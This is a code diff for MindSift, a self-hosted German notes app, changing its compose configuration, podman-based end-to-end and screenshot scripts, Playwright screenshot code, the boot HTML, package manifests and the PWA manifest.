- SMTP_FROM_NAME=${SMTP_FROM_NAME:-MindSift}
- NOTIFY_DIGEST_MINUTES=${NOTIFY_DIGEST_MINUTES:-5}
- SMTP_TLS=${SMTP_TLS:-true}
- SMTP_SKIP_VERIFY=${SMTP_SKIP_VERIFY:-false}
# Web-Push: ohne Angabe erzeugt MindSift die Schlüssel selbst
# - VAPID_SUBJECT=${VAPID_SUBJECT:-mailto:admin@example.com}
# Impressum / Datenschutz
# Optional: Impressum / Datenschutz (URL oder Markdown-Datei, z. B. per Volume eingebunden)
- LEGAL_IMPRINT_URL=${LEGAL_IMPRINT_URL:-}
- LEGAL_PRIVACY_URL=${LEGAL_PRIVACY_URL:-}
- LEGAL_IMPRINT_CONTENT=${LEGAL_IMPRINT_CONTENT:-}
- LEGAL_PRIVACY_CONTENT=${LEGAL_PRIVACY_CONTENT:-}
- LEGAL_IMPRINT_CONTENT_FILE=${LEGAL_IMPRINT_CONTENT_FILE:-}
- LEGAL_PRIVACY_CONTENT_FILE=${LEGAL_PRIVACY_CONTENT_FILE:-}
# Eigener Link im Footer (nur https://)
# - LEGAL_CUSTOM_LINK_LABEL=${LEGAL_CUSTOM_LINK_LABEL:-}
# - LEGAL_CUSTOM_LINK_URL=${LEGAL_CUSTOM_LINK_URL:-}
# Bilder und Audio in Notizen
- MEDIA_MAX_IMAGE_MB=${MEDIA_MAX_IMAGE_MB:-15}
- MEDIA_MAX_AUDIO_MB=${MEDIA_MAX_AUDIO_MB:-50}
- MEDIA_QUOTA_MB=${MEDIA_QUOTA_MB:-0}
- MEDIA_DEMO_MAX_MB=${MEDIA_DEMO_MAX_MB:-3}
# Spracherkennung
- STT_URL=${STT_URL:-}
- STT_MODEL=${STT_MODEL:-deepdml/faster-whisper-large-v3-turbo-ct2}
- STT_LANGUAGE=${STT_LANGUAGE:-de}
- STT_API_KEY=${STT_API_KEY:-}
- STT_DISABLED=${STT_DISABLED:-false}
- STT_ALLOW_BROWSER=${STT_ALLOW_BROWSER:-true}
- STT_MAX_SECONDS=${STT_MAX_SECONDS:-600}
- STT_MAX_UPLOAD_MB=${STT_MAX_UPLOAD_MB:-25}
- STT_MAX_PARALLEL=${STT_MAX_PARALLEL:-1}
- STT_PER_USER_PER_HOUR=${STT_PER_USER_PER_HOUR:-60}
- STT_TIMEOUT_SECONDS=${STT_TIMEOUT_SECONDS:-120}
- STT_VAD_FILTER=${STT_VAD_FILTER:-true}
# Optional: eigene Spracherkennung (Whisper). Zum Einschalten:
# 1. die Rauten vor dem Block "whisper" unten entfernen
# 2. in .env setzen: STT_URL=http://whisper:8000
# 3. mkdir -p whisper && sudo chown 1000:1000 whisper (der Container läuft als UID 1000)
# 4. docker compose up -d
# Das Modell lädt MindSift beim ersten Start selbst nach ./whisper (large-v3-turbo ca. 1,6 GB).
# RAM: large-v3-turbo ca. 2 GB, small ca. 1 GB. Kein Port nach außen nötig.
#
# whisper:
# image: ghcr.io/speaches-ai/speaches:0.8.3-cpu
# container_name: mindsift-whisper
# restart: unless-stopped
# volumes:
# - ./whisper:/home/ubuntu/.cache/huggingface/hub
# environment:
# - WHISPER__COMPUTE_TYPE=int8 # schneller auf der CPU, kaum Qualitätsverlust
# - WHISPER__TTL=-1 # Modell im Speicher halten statt nach 5 Min. zu entladen
# - ENABLE_UI=false # ohne die Weboberfläche von speaches
# - LOG_LEVEL=info
+1 -1
View File
@@ -40,4 +40,4 @@ Der Eigentümer tippt mit normaler Verbindung, der Bearbeiter sitzt hinter einem
## Screenshots
`e2e/screenshots.sh` baut das Image, startet es im Demo-Modus mit frischer Datenbank und erzeugt die Bilder in `screenshots/` neu (`screenshots.mjs`). Danach werden sie verkleinert (Desktop 1280 px, Handy 480 px breit) und als WebP mit Qualität 90 gespeichert (`cwebp` in einem Alpine-Container). Für die Versionsangabe im Kopf: `APP_VERSION=v0.2 e2e/screenshots.sh`. In der Workspace-Aufnahme bearbeitet der Demo-Benutzer `user` gleichzeitig einen Bullet, damit Sperre und Präsenz zu sehen sind.
`e2e/screenshots.sh` baut das Image, startet es im Demo-Modus mit frischer Datenbank und erzeugt die Bilder in `screenshots/` neu (`screenshots.mjs`). Für die Versionsangabe im Kopf: `APP_VERSION=v0.2 e2e/screenshots.sh`. In der Workspace-Aufnahme bearbeitet der Demo-Benutzer `user` gleichzeitig einen Bullet, damit Sperre und Präsenz zu sehen sind.
+2 -2
View File
@@ -99,7 +99,7 @@ const main = async () => {
await B.page.getByText('Darunter', { exact: true }).first().click();
await B.page.keyboard.press('Home');
await B.page.keyboard.press('Backspace');
const notice = await waitFor(async () => B.page.getByRole('status').filter({ hasText: /bearbeitet/ }).first().innerText(), 3000);
const notice = await waitFor(async () => B.page.getByRole('status').innerText(), 3000);
check(!!notice && /bearbeitet diesen Punkt gerade/.test(notice), `Hinweis statt halber Aktion: ${notice}`);
await sleep(1500);
const afterMerge = (await serverBlocks(admin, doc.id)).map((b) => b.content).sort();
@@ -133,7 +133,7 @@ const main = async () => {
check(!!conflictShown, 'Konfliktkopie wird markiert angezeigt');
// The user's cursor is still in the original bullet (it holds the lock), so the admin may not overwrite it
await A.page.getByRole('button', { name: 'Übernehmen' }).first().click();
const refused = await waitFor(async () => A.page.getByRole('status').filter({ hasText: /bearbeitet/ }).first().innerText(), 3000);
const refused = await waitFor(async () => A.page.getByRole('status').innerText(), 3000);
check(!!refused && /bearbeitet/.test(refused), `Übernehmen in einen fremd gesperrten Punkt wird verweigert: ${refused}`);
// The user holding the original can accept once the copy's author (here a separate API client that never
// renews its lease) no longer holds the copy, i.e. after at most 20 s
+8 -26
View File
@@ -1,36 +1,18 @@
#!/usr/bin/env bash
# Builds MindSift, starts it in demo mode with a fresh database and runs the browser tests.
# Builds MindSift, starts it in demo mode on port 18080 with a fresh database and runs the browser tests.
# Requires podman (or docker via ENGINE=docker). Usage: e2e/run.sh
# Every run uses its own container, image tag and port, so runs from several working copies at the
# same time cannot remove or test each other's server.
set -euo pipefail
ENGINE="${ENGINE:-podman}"
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
WORK="$(mktemp -d)"
RUN_ID="$$-$RANDOM"
NAME="mindsift-e2e-$RUN_ID"
IMAGE="mindsift-e2e-image:$RUN_ID"
# A free port above 18000 (E2E_PORT overrides)
PORT="${E2E_PORT:-}"
if [ -z "$PORT" ]; then
for p in $(shuf -i 18100-18999 -n 50); do
if ! (exec 3<>"/dev/tcp/127.0.0.1/$p") 2>/dev/null; then PORT="$p"; break; fi
done
fi
cleanup() {
"$ENGINE" rm -f "$NAME" >/dev/null 2>&1 || true
"$ENGINE" rmi "$IMAGE" >/dev/null 2>&1 || true
rm -rf "$WORK"
}
trap cleanup EXIT
trap '"$ENGINE" rm -f mindsift-e2e >/dev/null 2>&1 || true; rm -rf "$WORK"' EXIT
echo "Baue Image …"
"$ENGINE" build -q -t "$IMAGE" "$ROOT" >/dev/null
"$ENGINE" run -d --name "$NAME" --network host -e PORT="$PORT" -e MINDA_DEMO=true \
-e JWT_SECRET=e2e-only-secret -v "$WORK":/data:Z "$IMAGE" >/dev/null
for _ in $(seq 1 60); do curl -s -m 1 "http://localhost:$PORT/api/v1/health" >/dev/null && break; sleep 0.5; done
"$ENGINE" build -q -t mindsift-e2e-image "$ROOT" >/dev/null
"$ENGINE" run -d --name mindsift-e2e --network host -e PORT=18080 -e MINDA_DEMO=true \
-e JWT_SECRET=e2e-only-secret -v "$WORK":/data:Z mindsift-e2e-image >/dev/null
for _ in $(seq 1 60); do curl -s -m 1 http://localhost:18080/api/v1/health >/dev/null && break; sleep 0.5; done
echo "Starte Browser-Tests (Port $PORT) …"
"$ENGINE" run --rm --network host -e MINDSIFT_URL="http://localhost:$PORT" -v "$ROOT/e2e":/e2e:Z -w /e2e \
mcr.microsoft.com/playwright:v1.48.2-jammy \
echo "Starte Browser-Tests …"
"$ENGINE" run --rm --network host -v "$ROOT/e2e":/e2e:Z -w /e2e mcr.microsoft.com/playwright:v1.48.2-jammy \
sh -c 'npm install --no-audit --no-fund >/dev/null 2>&1 && node collab.e2e.mjs && node share.e2e.mjs && node lock.e2e.mjs && node channels.e2e.mjs'
+7 -148
View File
@@ -1,26 +1,12 @@
// Takes the README screenshots from a fresh server in demo mode (sample data of admin/admin).
// The title picture and the colour-family grid are taken twice in the same state – light and dark
// theme – and joined along a slanted diagonal (light left, dark right); the others are plain light
// or dark pictures.
// Usage: e2e/screenshots.sh (builds the image) or MINDSIFT_URL=… SHOTS_DIR=… node screenshots.mjs
// Theme pair: SHOT_LIGHT / SHOT_DARK (default: light / dark, the "Klassik" family)
import fs from 'node:fs';
import { chromium } from 'playwright';
const BASE = process.env.MINDSIFT_URL || 'http://localhost:18080';
const OUT = process.env.SHOTS_DIR || '../screenshots';
const LIGHT = process.env.SHOT_LIGHT || 'light';
const DARK = process.env.SHOT_DARK || 'dark';
const DESKTOP = { viewport: { width: 1518, height: 886 }, deviceScaleFactor: 2 };
const MOBILE = { viewport: { width: 390, height: 844 }, deviceScaleFactor: 2, isMobile: true, hasTouch: true };
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
// Colour families for the theme grid in the README (Klassik is the title picture)
const FAMILIES = [
['fjord', 'fjord', 'fjord-night'],
['terracotta', 'terracotta', 'terracotta-night'],
['polarized', 'polarized-light', 'polarized'],
['suri', 'suri-light', 'suri'],
];
async function login(user) {
const res = await fetch(`${BASE}/api/v1/auth/login`, {
@@ -34,13 +20,7 @@ async function login(user) {
async function open(browser, token, options) {
const ctx = await browser.newContext({ ...options, colorScheme: 'dark', locale: 'de-DE' });
await ctx.addInitScript(
([t, theme]) => {
localStorage.setItem('mindsift_jwt_token', t);
localStorage.setItem('mindsift_active_theme', theme);
},
[token, DARK]
);
await ctx.addInitScript((t) => localStorage.setItem('mindsift_jwt_token', t), token);
const page = await ctx.newPage();
page.on('pageerror', (e) => console.log('PAGEERROR', e.message));
await page.goto(BASE);
@@ -48,88 +28,11 @@ async function open(browser, token, options) {
return page;
}
// Anchored, so "Workspace" does not hit the triage button "Als Notiz – Im Workspace"
const tab = (page, name) => page.getByRole('button', { name: new RegExp(`^${name}`) }).locator('visible=true').first().click();
const tab = (page, name) => page.getByRole('button', { name: new RegExp(name) }).first().click();
// Switches the theme in place (no reload), so both halves show exactly the same state
async function setTheme(page, id, dark) {
await page.evaluate(
([themeId, isDark]) => {
const root = document.documentElement;
root.setAttribute('data-theme', themeId);
root.classList.toggle('dark', isDark);
},
[id, dark]
);
await sleep(250);
}
let composer;
// Light picture on the left of the diagonal, dark on the right, a thin line between them;
// scale < 1 shrinks the result (small pictures of the theme grid)
async function compose(lightPng, darkPng, file, scale = 1) {
const dataUrl = await composer.evaluate(
async ([light, dark, scale]) => {
const load = (b64) =>
new Promise((resolve) => {
const img = new Image();
img.onload = () => resolve(img);
img.src = 'data:image/png;base64,' + b64;
});
const [a, b] = await Promise.all([load(light), load(dark)]);
const w = Math.round(a.naturalWidth * scale);
const h = Math.round(a.naturalHeight * scale);
const canvas = document.createElement('canvas');
canvas.width = w;
canvas.height = h;
const ctx = canvas.getContext('2d');
ctx.imageSmoothingQuality = 'high';
ctx.drawImage(b, 0, 0, w, h);
const top = w * 0.58;
const bottom = w * 0.42;
ctx.save();
ctx.beginPath();
ctx.moveTo(0, 0);
ctx.lineTo(top, 0);
ctx.lineTo(bottom, h);
ctx.lineTo(0, h);
ctx.closePath();
ctx.clip();
ctx.drawImage(a, 0, 0, w, h);
ctx.restore();
ctx.strokeStyle = 'rgba(255, 255, 255, 0.9)';
ctx.lineWidth = Math.max(2, w / 600);
ctx.shadowColor = 'rgba(0, 0, 0, 0.35)';
ctx.shadowBlur = w / 300;
ctx.beginPath();
ctx.moveTo(top, 0);
ctx.lineTo(bottom, h);
ctx.stroke();
return canvas.toDataURL('image/png');
},
[lightPng.toString('base64'), darkPng.toString('base64'), scale]
);
fs.writeFileSync(`${OUT}/${file}`, Buffer.from(dataUrl.split(',')[1], 'base64'));
}
// Diagonal light/dark picture
async function shot(page, file, { light = LIGHT, dark = DARK, scale = 1 } = {}) {
async function shot(page, file) {
await sleep(800); // animations
await page.mouse.move(0, 0);
await setTheme(page, light, false);
const lightPng = await page.screenshot();
await setTheme(page, dark, true);
const darkPng = await page.screenshot();
await compose(lightPng, darkPng, file, scale);
console.log(`OK ${file}`);
}
// Plain picture in one theme ('light' or 'dark' of the chosen pair)
async function plain(page, file, mode) {
await sleep(800);
await page.mouse.move(0, 0);
if (mode === 'light') await setTheme(page, LIGHT, false);
else await setTheme(page, DARK, true);
await page.screenshot({ path: `${OUT}/${file}` });
console.log(`OK ${file}`);
}
@@ -138,7 +41,6 @@ const main = async () => {
const admin = await login('admin');
const user = await login('user');
const browser = await chromium.launch({ args: ['--lang=de-DE'] });
composer = await (await browser.newContext()).newPage();
const page = await open(browser, admin, DESKTOP);
await tab(page, 'Triage');
@@ -147,11 +49,7 @@ const main = async () => {
await tab(page, 'Aufgaben');
await page.getByText('Homelab', { exact: true }).first().click().catch(() => {});
await page.getByRole('button', { name: /Kanban|Board/ }).first().click().catch(() => {});
await plain(page, 'aufgaben_desktop.png', 'dark');
// Colour families: the board fills the width, so both halves of the diagonal show content
for (const [family, light, dark] of FAMILIES) {
await shot(page, `Theme_${family}.png`, { light, dark, scale: 0.5 });
}
await shot(page, 'aufgaben_desktop.png');
// The demo user edits a bullet of the shared note, so the screenshot shows lock and presence
const other = await open(browser, user, DESKTOP);
@@ -167,54 +65,15 @@ const main = async () => {
await page.waitForFunction(() => document.querySelectorAll('textarea').length > 5, null, { timeout: 10000 });
await page.getByText('User', { exact: false }).first().waitFor({ timeout: 15000 }).catch(() => {});
await sleep(2000);
await plain(page, 'workspace_desktop.png', 'light');
// Journal: a few days with entries, the calendar in the sidebar
const H = { Authorization: `Bearer ${admin}`, 'Content-Type': 'application/json' };
const today = new Date();
const iso = (d) => `${d.getFullYear()}-${String(d.getMonth() + 1).padStart(2, '0')}-${String(d.getDate()).padStart(2, '0')}`;
const day = (offset) => iso(new Date(today.getFullYear(), today.getMonth(), today.getDate() - offset));
await fetch(`${BASE}/api/v1/journal/${day(0)}`, { method: 'POST', headers: H });
await page.getByRole('button', { name: 'Journal', exact: true }).click();
await sleep(1500);
const write = async (date, lines) => {
const section = page.locator(`[data-journal-date="${date}"]`);
if ((await section.count()) === 0) return; // day outside the visible month
await section.locator('.cursor-text').first().click();
for (let i = 0; i < lines.length; i++) {
if (i > 0) await page.keyboard.press('Enter');
await page.keyboard.type(lines[i], { delay: 5 });
}
await sleep(600);
};
await write(day(0), ['Standup: Umzug liegt im Plan #homelab', 'Nachmittags Backup-Test mit restic', 'Idee: Wochenrückblick als Vorlage anlegen']);
for (const offset of [2, 5]) {
await page.getByTitle(new RegExp(new Date(today.getFullYear(), today.getMonth(), today.getDate() - offset).toLocaleDateString('de-DE', { day: 'numeric', month: 'long' }))).first().click().catch(() => {});
await sleep(1200);
await write(day(offset), offset === 2 ? ['Rasen gemäht, Hecke wartet noch #garten'] : ['Erste Gedanken zur Hausrenovierung #renovierung', 'Angebote einholen bis Monatsende']);
}
await page.getByRole('button', { name: 'Heute' }).click().catch(() => {});
await page.mouse.click(1000, 860);
await sleep(2500);
// Round corners (setting "Ecken: rund") for this picture only
await page.evaluate(() => document.documentElement.setAttribute('data-corners', 'round'));
await plain(page, 'journal_desktop.png', 'dark');
await page.evaluate(() => document.documentElement.removeAttribute('data-corners'));
await page.getByRole('button', { name: 'Journal', exact: true }).click(); // close it again
await shot(page, 'workspace_desktop.png');
await tab(page, 'Listen');
await page.getByText('Wocheneinkauf', { exact: true }).first().click().catch(() => {});
await plain(page, 'Listen_desktop.png', 'light');
await shot(page, 'Listen_desktop.png');
const mobile = await open(browser, admin, MOBILE);
await mobile.getByText('Später im Browser weiter nutzen').click({ timeout: 5000 }).catch(() => {}); // install prompt
await plain(mobile, 'Mobile_Triage.png', 'light');
await tab(mobile, 'Workspace');
await sleep(600);
await mobile.getByText(/^Homelab 2\.0/).first().click();
await sleep(1500);
await plain(mobile, 'Mobile_Workspace.png', 'dark');
await shot(mobile, 'Mobile_Triage.png');
await browser.close();
};
+9 -36
View File
@@ -1,47 +1,20 @@
#!/usr/bin/env bash
# Builds MindSift, starts it in demo mode with a fresh database and renews the README screenshots
# in screenshots/ (title picture and colour-family grid: light and dark joined along a diagonal).
# The PNGs from the browser are scaled down (desktop 1280 px, phone 480 px wide) and saved as WebP.
# Requires podman (or docker via ENGINE=docker). Usage: e2e/screenshots.sh, other theme pair: SHOT_LIGHT=fjord SHOT_DARK=fjord-night
# in screenshots/. Requires podman (or docker via ENGINE=docker). Usage: e2e/screenshots.sh
set -euo pipefail
ENGINE="${ENGINE:-podman}"
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
WORK="$(mktemp -d)"
RUN_ID="$$-$RANDOM"
NAME="mindsift-shots-$RUN_ID"
IMAGE="mindsift-shots-image:$RUN_ID"
PORT="${SHOTS_PORT:-}"
if [ -z "$PORT" ]; then
for p in $(shuf -i 18100-18999 -n 50); do
if ! (exec 3<>"/dev/tcp/127.0.0.1/$p") 2>/dev/null; then PORT="$p"; break; fi
done
fi
cleanup() {
"$ENGINE" rm -f "$NAME" >/dev/null 2>&1 || true
"$ENGINE" rmi "$IMAGE" >/dev/null 2>&1 || true
rm -rf "$WORK"
}
trap cleanup EXIT
mkdir -p "$WORK/png"
trap '"$ENGINE" rm -f mindsift-shots >/dev/null 2>&1 || true; rm -rf "$WORK"' EXIT
echo "Baue Image …"
# Version in the header, e.g. APP_VERSION=v0.2 e2e/screenshots.sh
"$ENGINE" build -q --build-arg APP_VERSION="${APP_VERSION:-}" -t "$IMAGE" "$ROOT" >/dev/null
"$ENGINE" run -d --name "$NAME" --network host -e PORT="$PORT" -e MINDA_DEMO=true -e DEMO_RESET_MINUTES=0 \
-e JWT_SECRET=screenshots-only-secret -v "$WORK":/data:Z "$IMAGE" >/dev/null
for _ in $(seq 1 60); do curl -s -m 1 "http://localhost:$PORT/api/v1/health" >/dev/null && break; sleep 0.5; done
"$ENGINE" build -q --build-arg APP_VERSION="${APP_VERSION:-}" -t mindsift-e2e-image "$ROOT" >/dev/null
"$ENGINE" run -d --name mindsift-shots --network host -e PORT=18081 -e MINDA_DEMO=true \
-e JWT_SECRET=screenshots-only-secret -v "$WORK":/data:Z mindsift-e2e-image >/dev/null
for _ in $(seq 1 60); do curl -s -m 1 http://localhost:18081/api/v1/health >/dev/null && break; sleep 0.5; done
echo "Erstelle Screenshots …"
"$ENGINE" run --rm --network host -e MINDSIFT_URL="http://localhost:$PORT" -e SHOTS_DIR=/shots \
-e SHOT_LIGHT="${SHOT_LIGHT:-light}" -e SHOT_DARK="${SHOT_DARK:-dark}" -e LANG=de_DE.UTF-8 -e TZ=Europe/Berlin \
-v "$ROOT/e2e":/e2e:Z -v "$WORK/png":/shots:Z -w /e2e mcr.microsoft.com/playwright:v1.48.2-jammy \
sh -c 'npm install --no-audit --no-fund >/dev/null 2>&1 && node screenshots.mjs'
echo "Wandle in WebP um …"
"$ENGINE" run --rm -v "$WORK/png":/png:Z -v "$ROOT/screenshots":/shots:Z docker.io/library/alpine:3.20 sh -c '
apk add -q libwebp-tools >/dev/null
for f in /png/*.png; do
name=$(basename "$f" .png)
case "$name" in Mobile_*) width=480 ;; *) width=1280 ;; esac
cwebp -quiet -resize "$width" 0 -q 90 -m 6 -metadata none "$f" -o "/shots/$name.webp"
done'
"$ENGINE" run --rm --network host -e MINDSIFT_URL=http://localhost:18081 -e SHOTS_DIR=/shots -e LANG=de_DE.UTF-8 \
-v "$ROOT/e2e":/e2e:Z -v "$ROOT/screenshots":/shots:Z -w /e2e mcr.microsoft.com/playwright:v1.48.2-jammy \
sh -c 'apt-get update -qq >/dev/null && apt-get install -y -qq fonts-inter >/dev/null 2>&1; npm install --no-audit --no-fund >/dev/null 2>&1 && node screenshots.mjs'
+24 -23
View File
@@ -3,10 +3,8 @@
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<!-- Black like the system bars of the installed app; boot-theme.js and then the app switch it to the
theme background -->
<meta name="theme-color" content="#000000" />
<script src="/boot-theme.js"></script>
<!-- Blue while loading (matches the splash screen); the app switches it to the theme background -->
<meta name="theme-color" content="#2563eb" />
<meta name="mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-title" content="MindSift" />
@@ -42,30 +40,33 @@
<link rel="manifest" href="/manifest.json" />
<title>MindSift</title>
<script src="/pwa-install.js"></script>
<script>
window.__deferredPwaPrompt = null;
window.addEventListener('beforeinstallprompt', function (e) {
e.preventDefault();
window.__deferredPwaPrompt = e;
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
});
</script>
</head>
<body class="bg-[#0b0f19] text-[#e3e3e3] antialiased selection:bg-[#8ab4f8]/30 selection:text-[#8ab4f8]">
<!-- Shown until React mounts and replaces it: the logo on the background of the theme used last on
this device (boot-theme.js), full blue on the first visit; no text, no white flash -->
<!-- Shown until React mounts and replaces it: full blue with the logo, no text, no white flash -->
<div id="root">
<div style="position:fixed;inset:0;background:var(--boot-bg,#2563eb);display:flex;align-items:center;justify-content:center">
<!-- icon.svg inline, so its square takes the theme's accent (on blue it disappears in the background) -->
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" width="128" height="128" style="display:block">
<rect width="512" height="512" rx="108" style="fill:var(--boot-accent,#2563eb)" />
<g transform="translate(256, 256) scale(12.5) translate(-12, -12)" fill="none" style="stroke:var(--boot-on-accent,#ffffff)" stroke-width="2.1" stroke-linecap="round" stroke-linejoin="round">
<path d="M12 5a3 3 0 1 0-5.997.125 4 4 0 0 0-2.526 5.77 4 4 0 0 0 .556 6.588A4 4 0 1 0 12 18Z"/>
<path d="M12 5a3 3 0 1 1 5.997.125 4 4 0 0 1 2.526 5.77 4 4 0 0 1-.556 6.588A4 4 0 1 1 12 18Z"/>
<path d="M15 13a4.5 4.5 0 0 1-3-4 4.5 4.5 0 0 1-3 4"/>
<path d="M17.599 6.5a3 3 0 0 0 .399-1.375"/>
<path d="M6.003 5.125A3 3 0 0 0 6.401 6.5"/>
<path d="M3.477 10.896a4 4 0 0 1 .585-.396"/>
<path d="M19.938 10.5a4 4 0 0 1 .585.396"/>
<path d="M6 18a4 4 0 0 1-1.967-.516"/>
<path d="M19.967 17.484A4 4 0 0 1 18 18"/>
</g>
</svg>
<div style="position:fixed;inset:0;background:#2563eb;display:flex;align-items:center;justify-content:center">
<!-- the icon's own blue square disappears on blue, so the visible brain is ~55% of this size -->
<img src="/icon.svg" width="128" height="128" alt="" style="display:block" />
</div>
</div>
<script type="module" src="/src/main.tsx"></script>
<script>
if ('caches' in window) {
caches.keys().then((keys) => keys.forEach((k) => caches.delete(k))).catch(() => {});
}
if ('serviceWorker' in navigator) {
window.addEventListener('load', () => {
navigator.serviceWorker.register('/sw.js').catch(() => {});
});
}
</script>
</body>
</html>
+3 -24
View File
@@ -1,15 +1,14 @@
{
"name": "mindsift-frontend",
"version": "0.67.0",
"version": "0.5.0",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "mindsift-frontend",
"version": "0.67.0",
"license": "AGPL-3.0-only",
"version": "0.5.0",
"license": "Unlicense",
"dependencies": {
"@fontsource-variable/inter": "5.3.0",
"@types/prismjs": "^1.26.6",
"emoji-picker-react": "4.12.0",
"framer-motion": "^11.15.0",
@@ -33,7 +32,6 @@
"jsdom": "^25.0.1",
"postcss": "^8.4.49",
"tailwindcss": "^3.4.17",
"tailwindcss-animate": "1.0.7",
"typescript": "^5.6.3",
"typescript-eslint": "8.18.2",
"vite": "^5.4.11",
@@ -1026,15 +1024,6 @@
"node": "^18.18.0 || ^20.9.0 || >=21.1.0"
}
},
"node_modules/@fontsource-variable/inter": {
"version": "5.3.0",
"resolved": "https://registry.npmjs.org/@fontsource-variable/inter/-/inter-5.3.0.tgz",
"integrity": "sha512-OupL48va4JNofb97w6NYeF9S7W/kHNKM0Er8Dem5nqi4jeOLrVJDoE8tZEpnMJmtkvNbB1EIPPwHcdkF6b1oUA==",
"license": "OFL-1.1",
"funding": {
"url": "https://github.com/sponsors/ayuhito"
}
},
"node_modules/@humanfs/core": {
"version": "0.19.2",
"resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.2.tgz",
@@ -4783,16 +4772,6 @@
"node": ">=14.0.0"
}
},
"node_modules/tailwindcss-animate": {
"version": "1.0.7",
"resolved": "https://registry.npmjs.org/tailwindcss-animate/-/tailwindcss-animate-1.0.7.tgz",
"integrity": "sha512-bl6mpH3T7I3UFxuvDEXLxy/VuFxBk5bbzplh7tXI68mwMokNYd1t9qPBHlnyTwfa4JGC4zP516I1hYYtQ/vspA==",
"dev": true,
"license": "MIT",
"peerDependencies": {
"tailwindcss": ">=3.0.0 || insiders"
}
},
"node_modules/thenify": {
"version": "3.3.1",
"resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz",
+2 -4
View File
@@ -1,8 +1,8 @@
{
"name": "mindsift-frontend",
"private": true,
"version": "0.67.0",
"license": "AGPL-3.0-only",
"version": "0.5.0",
"license": "Unlicense",
"type": "module",
"scripts": {
"dev": "vite",
@@ -13,7 +13,6 @@
"test:run": "vitest run"
},
"dependencies": {
"@fontsource-variable/inter": "5.3.0",
"@types/prismjs": "^1.26.6",
"emoji-picker-react": "4.12.0",
"framer-motion": "^11.15.0",
@@ -37,7 +36,6 @@
"jsdom": "^25.0.1",
"postcss": "^8.4.49",
"tailwindcss": "^3.4.17",
"tailwindcss-animate": "1.0.7",
"typescript": "^5.6.3",
"typescript-eslint": "8.18.2",
"vite": "^5.4.11",
Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.7 KiB

-14
View File
@@ -1,14 +0,0 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 96 96" width="96" height="96">
<!-- Notification badge (Android status bar): only the alpha channel counts, so white on transparent -->
<g transform="translate(48, 48) scale(3.5) translate(-12, -12)" fill="none" stroke="#ffffff" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round">
<path d="M12 5a3 3 0 1 0-5.997.125 4 4 0 0 0-2.526 5.77 4 4 0 0 0 .556 6.588A4 4 0 1 0 12 18Z"/>
<path d="M12 5a3 3 0 1 1 5.997.125 4 4 0 0 1 2.526 5.77 4 4 0 0 1-.556 6.588A4 4 0 1 1 12 18Z"/>
<path d="M15 13a4.5 4.5 0 0 1-3-4 4.5 4.5 0 0 1-3 4"/>
<path d="M17.599 6.5a3 3 0 0 0 .399-1.375"/>
<path d="M6.003 5.125A3 3 0 0 0 6.401 6.5"/>
<path d="M3.477 10.896a4 4 0 0 1 .585-.396"/>
<path d="M19.938 10.5a4 4 0 0 1 .585.396"/>
<path d="M6 18a4 4 0 0 1-1.967-.516"/>
<path d="M19.967 17.484A4 4 0 0 1 18 18"/>
</g>
</svg>

Before

Width:  |  Height:  |  Size: 914 B

-17
View File
@@ -1,17 +0,0 @@
// Runs before the first paint: the loading screen takes the colours of the theme used last on this
// device (stored by the app in lib/theme.ts), so a light or orange theme does not start in blue.
// A file instead of an inline script so the CSP can stay at script-src 'self'.
(function () {
try {
var colors = JSON.parse(localStorage.getItem('mindsift_boot_colors') || 'null');
if (!colors || typeof colors.bg !== 'string' || typeof colors.accent !== 'string') return;
var root = document.documentElement;
root.style.setProperty('--boot-bg', colors.bg);
root.style.setProperty('--boot-accent', colors.accent);
if (typeof colors.onAccent === 'string') root.style.setProperty('--boot-on-accent', colors.onAccent);
var meta = document.querySelector('meta[name="theme-color"]');
if (meta) meta.setAttribute('content', colors.bg);
} catch (e) {
// no storage: the loading screen stays blue
}
})();
+10 -53
View File
@@ -6,8 +6,8 @@
"start_url": "/",
"scope": "/",
"display": "standalone",
"background_color": "#000000",
"theme_color": "#000000",
"background_color": "#2563eb",
"theme_color": "#2563eb",
"orientation": "portrait-primary",
"icons": [
{
@@ -47,61 +47,18 @@
"purpose": "maskable"
}
],
"share_target": {
"action": "/share-target",
"method": "POST",
"enctype": "multipart/form-data",
"params": {
"title": "title",
"text": "text",
"url": "url",
"files": [
{
"name": "media",
"accept": ["image/*"]
}
]
}
},
"shortcuts": [
{
"name": "Quick Dump",
"short_name": "Quick Dump",
"description": "Gedanken schnell in die Triage werfen",
"url": "/?shortcut=quickdump",
"icons": [
{
"src": "/shortcut-quickdump.png",
"sizes": "192x192",
"type": "image/png"
}
]
"name": "Gedanke sofort erfassen",
"short_name": "Capture",
"description": "Öffnet MindSift mit Fokus im Eingabefeld",
"url": "/?mode=capture"
},
{
"name": "Neue Aufgabe",
"short_name": "Aufgabe",
"description": "Direkt eine neue Aufgabe anlegen",
"url": "/?shortcut=task",
"icons": [
{
"src": "/shortcut-task.png",
"sizes": "192x192",
"type": "image/png"
}
]
},
{
"name": "Einkaufsliste",
"short_name": "Einkaufsliste",
"description": "Einen Eintrag zur Einkaufsliste hinzufügen",
"url": "/?shortcut=list",
"icons": [
{
"src": "/shortcut-list.png",
"sizes": "192x192",
"type": "image/png"
}
]
"name": "Triage starten",
"short_name": "Triage",
"description": "Gedanken im Kartendeck aussortieren",
"url": "/?tab=triage"
}
]
}
-8
View File
@@ -1,8 +0,0 @@
// Runs before the app: browsers fire beforeinstallprompt early, the app picks it up later
// ("App installieren"). A file instead of an inline script so the CSP can stay at script-src 'self'.
window.__deferredPwaPrompt = null;
window.addEventListener('beforeinstallprompt', function (e) {
e.preventDefault();
window.__deferredPwaPrompt = e;
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
});
Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.5 KiB

